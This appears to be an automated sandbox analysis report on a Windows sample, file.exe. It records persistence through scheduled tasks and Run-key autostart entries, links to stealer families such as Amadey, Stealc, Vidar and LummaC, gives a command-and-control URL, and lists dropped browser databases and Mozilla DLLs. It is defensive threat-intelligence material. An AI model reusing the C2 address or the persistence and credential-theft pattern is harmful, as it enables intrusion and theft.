Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
17:36:37	API Interceptor	152x Sleep call for process: file.exe modified
17:37:05	API Interceptor	14332x Sleep call for process: skotes.exe modified
17:37:46	API Interceptor	10x Sleep call for process: bef6a59ce6.exe modified
17:37:52	API Interceptor	144x Sleep call for process: 5454ad7c1c.exe modified
23:37:01	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
23:37:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bef6a59ce6.exe C:\Users\user~1\AppData\Local\Temp\1006993001\bef6a59ce6.exe
23:37:55	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 5b96a79886.exe C:\Users\user~1\AppData\Local\Temp\1006994001\5b96a79886.exe
23:38:04	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3afa1b1567.exe C:\Users\user~1\AppData\Local\Temp\1006995001\3afa1b1567.exe
23:38:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 4ff2bfa33f.exe C:\Users\user~1\AppData\Local\Temp\1006996001\4ff2bfa33f.exe
23:38:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bef6a59ce6.exe C:\Users\user~1\AppData\Local\Temp\1006993001\bef6a59ce6.exe
23:38:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 5b96a79886.exe C:\Users\user~1\AppData\Local\Temp\1006994001\5b96a79886.exe
23:38:49	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3afa1b1567.exe C:\Users\user~1\AppData\Local\Temp\1006995001\3afa1b1567.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.1.248.118	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://ecouterrepondeurvocal.pro/35-hnJZib	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.30295.4008.exe	Get hash	malicious	RisePro Stealer	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.2497.16579.exe	Get hash	malicious	RisePro Stealer	Browse
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
services.addons.mozilla.org	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
prod.detectportal.prod.cloudops.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	20.189.173.23
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.101.168.44
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
EDGECASTUS	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	152.195.19.97
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	152.195.19.97
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	152.195.19.97
	https://www.google.com/url?sa=https://r20.rs6.net/tnt.jsp?f=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwjU1vfA9siJAxVNh_0HHcggMUkQFnoECB0QAQ&url=amp/s/safetyworksolutions.com%2Fkese%2F7980321465/eW9vbmp1LmNob0Bib2xsb3JlLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	152.195.19.97
	ee0b6b037b16b54632b6b37d1fb72727.eml	Get hash	malicious	Unknown	Browse	152.199.21.175
AKAMAI-ASN1EU	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	23.198.7.180
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.221.22.213
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.198.7.173
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.198.7.180
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.221.22.197
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.221.22.208
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.198.7.175
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.198.7.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.221.22.218
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.221.22.213

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 184.28.90.27 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 184.28.90.27 40.126.32.72 13.107.246.45
	step_finalized_hcaptcha-bot-checking.html	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 184.28.90.27 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 184.28.90.27 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	Cryptbot	Browse	4.245.163.56 184.28.90.27 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 184.28.90.27 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 184.28.90.27 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 184.28.90.27 40.126.32.72 13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse	4.245.163.56 184.28.90.27 40.126.32.72 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Echelon.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	SolPen.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	SolPen.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123 151.101.1.91

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Panda Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKFHDBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2654026466237087
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMvSAELyKOMq+8HKkjucswRv8p3nVumQ:K0q+n0Jv9ELyKOMq+8HKkjuczRv89s
MD5:	053E3D2ABC457BAD9A7AD71FF3632BE5
SHA1:	10EFFD00D540E3B4970EE1149DCDD5996780690C
SHA-256:	E8BAE54DA1BF8CE8AED84FA38F21FC618C36DD3A585C3FF5FE18AB35EAAD666A
SHA-512:	A10223EBA22CF5AD2F8A9107CA044A8A1E2B41DDC7767233251C1A821DB154AF1AE64807AD368332277EA0B1A456EAB5AE66E80069F81E34D1A8EEF5902EE2A4
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFBGHDGCFHIDBGDGIIIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\ECGIIIDAKJDHJKFHIEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCBFBGDBKJKECAAKKFHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIJECGDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEHDBAEGIIIEBGCAAFHIDHDBFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKKJKEBKFCAAECAAAAAECFBKEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
